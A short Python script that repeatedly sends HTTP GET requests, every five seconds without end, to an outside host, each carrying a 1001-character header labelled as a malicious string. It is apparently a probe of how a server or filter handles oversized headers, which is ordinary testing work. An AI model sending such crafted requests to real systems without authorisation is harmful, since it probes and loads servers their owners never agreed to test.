import time
import requests

malicious_string = 'A' * 1001

url = "http://www.poison.com/"
headers = {"x-overlength": malicious_string}

while True:
    try:
        response = requests.get(url, headers=headers)
        print(f"Response Code: {response.status_code}")
        print(f"Response Body: {response.text}")
    except Exception as e:
        print(f"An error occurred: {e}")
    
    time.sleep(5)  # 每5秒发送一次请求
